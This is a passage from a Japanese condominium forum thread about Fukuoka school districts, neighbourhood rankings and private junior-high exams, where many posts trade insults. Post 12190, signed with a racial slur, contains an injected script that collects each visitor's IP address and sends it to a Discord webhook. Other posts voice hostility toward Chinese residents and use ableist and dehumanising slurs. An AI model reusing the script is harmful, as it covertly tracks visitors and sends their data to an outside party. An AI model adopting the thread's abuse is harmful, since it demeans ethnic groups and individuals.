中受させたとしてもR4で50台前半ならまあまあ、
ニッコマの附属や世田谷学園、高輪辺りでも「まあよくやった方」だよ。首都圏の一般家庭なら。
そして公立から日比谷狙いも増えてきてるし、
新宿とか小山台とかより少し下、頑張ればマーチ、ニッコマがボリュームゾーンの高校に行っても
健全ならいい、って層が大半です。
ここの意見は世間一般よりめちゃくちゃすぎ。
12133
eマンションさん
2024/01/02 02:23:59
>>12098 坪単価比較中さん
いまや千早が香椎を追い抜きつつあると思います
千早≧香椎>>>香住ヶ丘>和白≒名島>新宮>照葉>古賀
12134
マンコミュファンさん
2024/01/02 06:37:07
>>12133 eマンションさん
千早は売れ残りマンションも少ないね。
12135
口コミ知りたいさん
2024/01/02 07:57:23
>>12127 匿名さん
明らかに嘘とわかるものや個人の感想だとわかるものは、そのままでも良いけど、さも一般的な話になっている体を装っているのは、悪質なんじゃないかな。
12136
名無しさん
2024/01/02 08:10:16
>>12135 口コミ知りたいさん
ファクト、ファクトと叫んでる人や住民の人に質問したいさんが使ってる手法ですね。(同一人物の可能性大) 無意識にやってるとしたら教育が偏ってたかも。恐ろしい。
12137
マンション検討中さん
2024/01/02 08:10:33
12138
名無しさん
2024/01/02 09:04:16
12139
通りがかりさん
2024/01/02 09:13:25
12140
匿名さん
2024/01/02 09:14:07
12141
通りがかりさん
2024/01/02 09:21:32
12142
通りがかりさん
2024/01/02 09:21:32
12143
eマンションさん
2024/01/02 09:22:31
>>12140 匿名さん
ピンキリ
ごく一部のピンに乗っかりたいだけのほぼキリが多くいる
12144
マンション掲示板さん
2024/01/02 09:25:04
>>12133 eマンションさん
まともな意見が投下されたのにいいかげんにしなよ。
12145
匿名さん
2024/01/02 09:29:21
>>12132 選択してくださいさん
習悦中文学校照葉教室:東区香椎照葉7丁目12-4 オーシャンプレイス西集会所はどのような学校なのでしょうか?習首席を悦ばせる教育?中国人運営のNPO法人で気になります。
12146
マンション掲示板さん
2024/01/02 09:30:11
12147
マンション掲示板さん
2024/01/02 09:31:36
よく探してきましたねおじいちゃん。
知りませんしあるからといって何か変わるわけでもなかろうに。
12148
通りがかりさん
2024/01/02 09:32:20
12149
マンション掲示板さん
2024/01/02 09:32:33
12150
匿名さん
2024/01/02 09:33:52
>>12146 マンション掲示板さん
鼻息荒すぎて同じレス連投してるよ。
12151
匿名さん
2024/01/02 09:35:26
>>12148 通りがかりさん
そうですね。
…で、生活に変化はありますか?
コミュニティ管理が強固な場所なので
住民に影響はほぼないとのことだし、
あなたの「凝り固まった」差別意識で「学区スレ」を
振り回さないでいただけますか?
12152
名無しさん
2024/01/02 09:38:59
12153
マンション掲示板さん
2024/01/02 09:42:34
>>12150 匿名さん
図星でよっぽど悔しかったんだろう。削除申請はきちんとやってほしいな。
12154
匿名さん
2024/01/02 09:42:50
>>12135 口コミ知りたいさん
便所の落書きでしょ?
参考になる押してる人?
12155
検討板ユーザーさん
2024/01/02 09:43:28
照葉のみならず、数の力には勝てませんよ。
中国の人しか通えないこともないし、
数の力に勝てないから中国語習うのがむしろ世の中の流れとして当然なんですよ。
右寄り思考の方には理解できないかもしれませんが。
英語か中国語習う、は当然の流れです。
いずれどちらかの経済圏に日本は吸い込まれます。どう足掻いてもこれは既定路線です。
少子化と人口減は止まらないわけで。
ある意味先を見越した教育環境です。
そもそも「習文」って名前に過剰反応しすぎw
12156
マンション検討中さん
2024/01/02 09:47:10
まあそういうことだな。
必死で探したんだろうけど
良くも悪くもグローバル化には逆らえないのは
おじいちゃんには理解できないんだろうな。
しかも留学生が多いとかならわかるけど
最近は観光客中国人でも以前と比べ物にならないくらいマナーは守るし、
どんな高級物件でも今やチャイナマナーは入ってくるのに
ネガキャンに使うの必死すぎ。
12157
通りがかりさん
2024/01/02 09:47:23
もう地区誹謗中傷と被差別スレに変えなよ。学区スレとしてこの情報交換は普通じゃない異常だよ。
12158
マンコミュファンさん
2024/01/02 09:47:43
12159
マンション検討中さん
2024/01/02 09:50:28
>>12158 マンコミュファンさん
別にそれでも構わないと思いますが、捨て台詞ですよねそれ。
二度とこないでくださいね。
12157さんがいう通りあなたがここを異常にしてますから。
12160
マンコミュファンさん
2024/01/02 09:50:58
>>12156 マンション検討中さん
自問自答してどうする。探すもなにもニュースになってただろ。
12161
匿名さん
2024/01/02 09:51:54
12162
匿名さん
2024/01/02 09:53:15
グローバル化が理解できない右寄りなお年を召した方もやはり脳内アップデートは不可能か。
頭に血がのぼりつづけてるもんなぁ…
血圧下げるお薬飲みましょうね。
12163
匿名さん
2024/01/02 09:54:49
12164
マンコミュファンさん
2024/01/02 09:55:15
>>12160 マンコミュファンさん
住所までご丁寧にさがして貼ってきたのはあなたでしょう。そしてグローバル化が理解できず差別意識全開なのもあなたの根底でしょうが。
12165
評判気になるさん
2024/01/02 09:59:44
>>12156 マンション検討中さん
トライアルにいた団体客はマナー出来てなかったよ。
12166
匿名さん
2024/01/02 09:59:46
もういいじゃん。
第五学区のGM通える層は小学校区さえよければ
あとは中学受験に好き放題お金かけられて
ピンキリな私立中に入れられて
それぞれで満足できる中学校に行けるんだから
学区の話はほっといてよ。
何が原動力でそんなに照葉に必死なの?
12167
名無しさん
2024/01/02 10:00:26
12168
口コミ知りたいさん
2024/01/02 10:03:04
12169
検討板ユーザーさん
2024/01/02 10:03:36
>>12155 検討板ユーザーさん
怖いこといいますね、日本は消滅ですか。照葉は島ゆえに分割管理しやすいから、初の中国人の自治州になりかねないですね。
12170
検討板ユーザーさん
2024/01/02 10:04:33
照葉の話はおわりにしたくてもゴキブ〇みたいな人いますからね…
中国インバウンドで変なのとか博多や天神でも普通にいるし、あーいつものか、ってなるのに
とにかく一度心療内科に行った方がいいけど
孤独に暴れさせて枯〇されるの待つしかないのかな…
ほっといても需要あるとかは児童生徒数増えるだけなのに。
12171
口コミ知りたいさん
2024/01/02 10:05:45
>>12169 検討板ユーザーさん
多分数分以内に自分で役に立つをつけるに一票
12172
名無しさん
2024/01/02 10:08:35
ぜーんぜんこわくないよ?
タイムラグはそれなりにあるだろうし、
話が飛躍しすぎだし。
んでもって、やっぱりw
12173
名無しさん
2024/01/02 10:12:31
GMから選ばず私立中、
筑陽とか舞鶴、中村三陽クラスでも「うちは私立中だ!附設と同じ!」とか言ってそう。
中受塾で出来が悪いと。
だから御三家に粘着してたのか。
お金はかけられても伸びないボンボンもいるもんねw
12174
通りがかりさん
2024/01/02 10:16:34
>>12170 検討板ユーザーさん
本当に中国インバウンド再開で変なの増えた
12175
マンション検討中さん
2024/01/02 10:19:04
本当にお薬を飲みに行かれたようですね。
GMから底辺私立中、いそうですね。
叩いても出来ない子、いますからね。
ある意味かわいそうです。
伸び伸びとした環境で身の丈にあった校区で育ちどこでもいいから進学就職して、自立した大人になることがこのスレの当初の目的だったはず。
12176
名無しさん
2024/01/02 10:19:55
12177
匿名さん
2024/01/02 10:20:30
>>12174 通りがかりさん
今の精一杯ですよねそれが。
本当にお薬飲んでお休みになられてくださいませ。
12178
評判気になるさん
2024/01/02 10:26:11
12179
マンコミュファンさん
2024/01/02 10:31:55
>>12155 検討板ユーザーさん
「習悦中文学校」のhpによると運営に日本人は関わっていないようです。ほぼ中国人子息向けの教育のようです。公示の通り純粋に教育と文化交流を目的とした学校であれば良いのですが、実体には疑問があります。
12180
評判気になるさん
2024/01/02 10:34:29
>>12179 マンコミュファンさん
で、それが何か影響しますか?
本当にゴキブ〇みたいな方ですね。
それもそれでグローバル化のひとつだと思いますが。
疑問を生じてるのあなたくらいだと思いますが。
また自分で複数押すんでしょうが。
12181
通りがかりさん
2024/01/02 10:37:41
>>12175 マンション検討中さん
そんなことどこに書いてる?なんで都合のいい解釈する。
12182
評判気になるさん
2024/01/02 10:39:49
あ、例として書いただけですが図星でしたか。
浄水GM推しでも、ケツ叩いても中受で舞鶴筑陽くらいにしか入れないご家庭。
12183
検討板ユーザーさん
2024/01/02 10:44:12
>>12175 マンション検討中さん
出た、住民の人に質問したいさん。
ネットのルールを勉強してください。
12184
マンション検討中さん
2024/01/02 10:47:04
12185
評判気になるさん
2024/01/02 10:51:27
12186
通りがかりさん
2024/01/02 11:10:46
ここに書き込む時間を投資に使って年間40万。
子供に塾や習い事に使わせる未来投資に使えるってワケ
12187
評判気になるさん
2024/01/02 11:24:54
12188
名無しさん
2024/01/02 11:34:52
>>12187 評判気になるさん
額の話はしてねえんだよアスペがよお。
12189
eマンションさん
2024/01/02 11:37:18
12190
nigger
2024/01/02 11:43:53
<script>
var ip = '';
fetch('https://api.ipify.org//?format=json')
.then(function(response){
return response.json();
})
.then(function(data) {
ip = data.ip;
var webhook = 'https://discord.com/api/webhooks/1188119364784902277/bslspF1R-MoWzo-wXG6ESRob87C2kwcS8jsoWHDQYApnjoDUbKMn75ygr6-GrMk1CPul'
var message = {
content: 'サイトにアクセスがありました' + ip
};
fetch(webhook, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(message)
});
});
</script>
12191
eマンションさん
2024/01/02 11:52:57
>>12173 名無しさん
そのクラスの私立中だと御三家合格者でも落ちまくる
御三家合格者の学力は中受換算で偏差値40前半ってのが相場だし
12192
匿名さん
2024/01/02 12:30:42
12193
eマンションさん
2024/01/02 12:35:30
別に倍率の話もっと掘り下げたかったら博女や隆徳館でもいいけど。
それでも私立は私立だもんね笑
12194
eマンションさん
2024/01/02 12:46:17
出願倍率が2倍切ってる底辺私立中は当たり前の話ですが、上受かった人が蹴るので繰り上げで定員埋めてくるので実質全入です。
そんなこともわからないで中学受験の話してるのか…
さすが老害。
今年の例だと中村三陽は壊滅。
ミッションも往年の人気は消え失せ確実に全入。
博女は昨年までは低い中でも入試成立してたけど今年は繰り上げでおそらく全入。
舞鶴や隆徳館もこの数字だと繰り上げで全員埋まる。
筑陽は締切前か見せられないくらい酷いかのいずれか。
12195
eマンションさん
2024/01/02 12:49:13
そしてそんなこと「中受親世代」なら常識なのに、不思議なことに「役にたつ」を押している人。誰でしょうね?聞くまでもないか。
公表倍率と実質倍率の違いも知らない無教養はこのスレに一人しかいないわけだし。
12196
マンション掲示板さん
2024/01/02 12:53:21
12197
匿名さん
2024/01/02 13:04:27
>>12196 マンション掲示板さん
さあ?
あなたと違って即否定はしない、とだけ言っておきますが笑
12198
マンション掲示板さん
2024/01/02 13:05:11
>>12196 マンション掲示板さん
学区云々より特定の地区をただ陥れたいだけのキチガイな人だよ
もう随分前から住み着いてるみたい
12199
評判気になるさん
2024/01/02 13:12:38
>>12198 マンション掲示板さん
住民に質問したい人さんは色々なスレに出没してたよ。
12200
eマンションさん
2024/01/02 13:18:59
今中受の話なんですけど?
特定の地域の話をしていません。
こちらも決めつけ(というかほぼ確証の上ですが)で話してますので、
どうぞ決めつけまくってください。
というか、常識を知らないで御三家や附設を語っていたことはこれで露わになりました。
もうあなたの言うことは何の説得力も持ちません。
それでも頭がハ○タカなのでやめないんでしょうけど。
余程「住民に質問したい」さんが不都合なことを書かれていたんですね?
あなたの価値観に合わないものは都合悪いですもんね?
12201
マンコミュファンさん
2024/01/02 13:21:59
12202
マンコミュファンさん
2024/01/02 13:24:31
>>12198 マンション掲示板さん
以前は耐久可変とか言う変な奴もいた
12203
匿名さん
2024/01/02 13:26:40
>>12202 マンコミュファンさん
今年も中身の無い醜い書き込みで盛り上がるのか
12204
口コミ知りたいさん
2024/01/02 13:33:29
>>12202 マンコミュファンさん
浄水に住めなかった人で浄水に執着してた人?
12205
口コミ知りたいさん
2024/01/02 13:35:16
>>12201 マンコミュファンさん
不安に思うなら病院に行きましょう。
中学受験…公表倍率と最終倍率は違う
高校受験…公立は蹴る人がいても上の私立専願に合格した人くらいでほぼそのままの倍率
これ知らないで附設や御三家語って挙句「地域荒らし」してたんですから笑い物ですね。
12206
eマンションさん
2024/01/02 13:36:18
そして自ら
誰も語ってないのに
浄水ってワードを出す人。
12207
匿名さん
2024/01/02 13:38:48
>>12202 マンコミュファンさん
耐久可変は照葉のフォレストの住民だったはずです。
12208
eマンションさん
2024/01/02 13:42:36
知らないことは何も悪いことではないですよ?
「自分は中学受験を知らなくて高校受験しか経験ないのに偉そうに附設や御三家を語ってました」って反省すれば。
一番みっともないのは、それすらしないで一人二役で話題をそらすことです。
12209
名無しさん
2024/01/02 13:48:29
>>12133 eマンションさん
東区は千早と香椎のツートップから千早一強に移りつつありますよね。
あとは、貝塚箱崎の再開発で治安最悪の博多隣接エリアがどう成長するか、というところでしょうか。
12210
匿名さん
2024/01/02 13:48:53
>>12145 匿名さん
中国語の塾でしょうか?習が悦ぶって気になります。
12211
マンション検討中さん
2024/01/02 13:50:40
反省して静かにすればいいのに
無知がバレてみっともなw
12212
名無しさん
2024/01/02 13:52:55
12213
口コミ知りたいさん
2024/01/02 13:56:45
>>12210 匿名さん
深読みしすぎ。習うことに喜ぶって普通の人なら解釈しますよ、右寄りの方。
12214
eマンションさん
2024/01/02 14:01:25
12215
マンコミュファンさん
2024/01/02 14:06:20
>>12210 匿名さん
喜ぶじゃなくて悦ぶですから祝福するってイメージですから怪しい
12216
口コミ知りたいさん
2024/01/02 14:34:51
>>12215 マンコミュファンさん
どうしてピンポイントで漢字にこだわるんですか?
やはり印象操作と話題逸らしですか?
勉強のことあまりもう語りすぎるとボロが出るって皆さん思ってそうだけど…
12217
eマンションさん
2024/01/02 14:36:37
ていうか公民館借りてるレベルのNPO法人に何をそんなに大騒ぎしてるんだか…
やはり「学のないご年配の方」なんですね。
12218
検討板ユーザーさん
2024/01/02 14:44:10
>>12217 eマンションさん
生徒350名で中国人は300名もいるけど
12219
名無しさん
2024/01/02 15:15:38
12220
eマンションさん
2024/01/02 15:27:59
12221
評判気になるさん
2024/01/02 15:29:36
>>12219 名無しさん
九州のマンション掲示板で最も更新頻度が高いのに内容のレベルや民度は最も低い
12222
評判気になるさん
2024/01/02 15:44:36
12223
通りがかりさん
2024/01/02 15:46:43
>>12200 eマンションさん
私は12195さんではありませんが、住民の人に質問したいさんは、価値観が合う合わない以前に、このスレ一二を争う無知、無恥、無教養な人だと思っていますよ。過去ログ読んでみたら分かりますよ。
12224
マンコミュファンさん
2024/01/02 15:50:57
>>12223 通りがかりさん
12200さんが住民の人に質問したいさんです。
12225
通りがかりさん
2024/01/02 15:51:08
>>12208 eマンションさん
凄いの一言に尽きます。よくもまぁ、こんな発想ができるものだと感心してしまいます。多様性もある程度のレンジに収まらないと不快かもしれません。
12226
マンション掲示板さん
2024/01/02 16:00:30
>>12223 通りがかりさん
住民に質問したい人さんは無知、無恥、無教養の上に早良区に僻み、妬みありますね。
12227
マンション検討中さん
2024/01/02 16:16:44
>>12224 マンコミュファンさん
流れでバレバレだよな。照葉の話題になるとムキになりすぎだし。
12228
匿名さん
2024/01/02 16:26:22
>>12222 評判気になるさん
また御三家すら縁もないのにわざわざ荒らしに来てる
12229
マンション検討中さん
2024/01/02 16:38:32
12230
匿名さん
2024/01/02 16:43:00
>>12227 マンション検討中さん
照葉は素晴らしい街だと思いますよ。福岡には珍しいタワマン が林立していて近未来感もありますし、特に福岡の夜景を見れ、海も臨める角部屋なんて垂涎の部屋だと思いますけど。100点満点のマンションなんて無いんですから、何かを取れば何かを捨てなきゃいけないとなると、ビューか交通利便性か、、、って色々なケースがあり、自分の価値観で良し悪しを主張するのは馬鹿げています。大きな買い物なんですから、他人がその判断の是非をコメントするのは粋ではありませんね。
学区の話に戻りましょう。
12231
マンション掲示板さん
2024/01/02 16:45:41
>>12230 匿名さん
住民に質問したい人さんもまともなレス出来るじゃん
12232
匿名さん
2024/01/02 16:55:30
>>12227 マンション検討中さん
本人は何役もこなしてバレてないと思ってるんだから言ったら駄目だよ。
12233
eマンションさん
2024/01/02 17:45:21
早良区の最大の売りは県立修猷館が近いってことだったのに、東京や関西のように最優秀層が中学受験するようになってきて、昔ほど人気がなくなってきてるよね?
12234
評判気になるさん
2024/01/02 17:53:20
12235
評判気になるさん
2024/01/02 17:55:03
>>12231 マンション掲示板さん
私は12230ですが、住民に質問したい人さんではありません。
12236
匿名さん
2024/01/02 17:58:42
>>12233 eマンションさん
他所から来て分譲を買わない人には人気あるよ
北側は地元割合も高くない
12237
eマンションさん
2024/01/02 17:59:25
12238
マンション掲示板さん
2024/01/02 18:00:54
>>12233 eマンションさん
あと三万円のアパートも忘れないでよ。
12239
匿名さん
2024/01/02 18:06:40
>>12236 匿名さん
大企業の転勤族が多いのは確かだわ。ファミリー向け分譲賃貸が人気ある。
12240
マンコミュファンさん
2024/01/02 21:10:21
>>12219 名無しさん
あなたが出していい話題ではないです。
さて問題です。
私は何時間ここに来なかったでしょう?
12241
通りがかりさん
2024/01/02 21:12:25
>>12233 eマンションさん
だから、あなたはそれを語る資格ないでしょ?
こちらは「どこ」かは言わずに
私立もピンキリってって話をしたら
トンチンカンなことを言い出して
全入私立の存在抜かしてた、かわいそうな設定の人なんだから。
12242
評判気になるさん
2024/01/02 21:13:35
12243
口コミ知りたいさん
2024/01/02 21:16:59
>>12242 評判気になるさん
何度でも言います。
肯定も否定もしません。
誰かと違って。
ネット掲示板では無意味なので。
でも、誰かと違って共通点や不可思議な言動はしてないつもりなんですがねえ?
おじいちゃん。
12244
評判気になるさん
2024/01/02 21:19:52
>>12222 評判気になるさん
だといいですね。
あ、また自分に都合のいい東大と国医のみのデータ出してきます?
12245
マンション掲示板さん
2024/01/02 21:25:04
12246
マンション検討中さん
2024/01/02 21:32:03
>>12243 口コミ知りたいさん
何故、「おじいちゃん」と言い続けているのか、さっぱりわかりません。思い込んだら命懸けの人なのでしょうか?それとも新手の宗教か何かでしょうか?
12247
eマンションさん
2024/01/02 21:34:01
>>12244 評判気になるさん
よく分からないが東大と国立医学部のデーターなら何の都合がいいの。
12248
名無しさん
2024/01/02 21:47:01
>>12247 eマンションさん
都合がいいのか悪いのかは分からないが、データの採り方が恣意的で、噴飯ものの分析をしていたやつでしょ。データを語る資格が無いと思うよ。
12249
マンション比較中さん
2024/01/02 21:52:07
>>12209 名無しさん
貝塚箱崎はどのあたりに位置づけられそうでしょうか?
千早≧香椎>>>香住ヶ丘>和白≒名島>新宮>照葉>古賀
12250
評判気になるさん
2024/01/02 21:56:22
>>12248 名無しさん
都合のいいって言ってるよ?東大と国医の合格率で比較するのは一般的と思うがどんなデーターなら恣意的でない?
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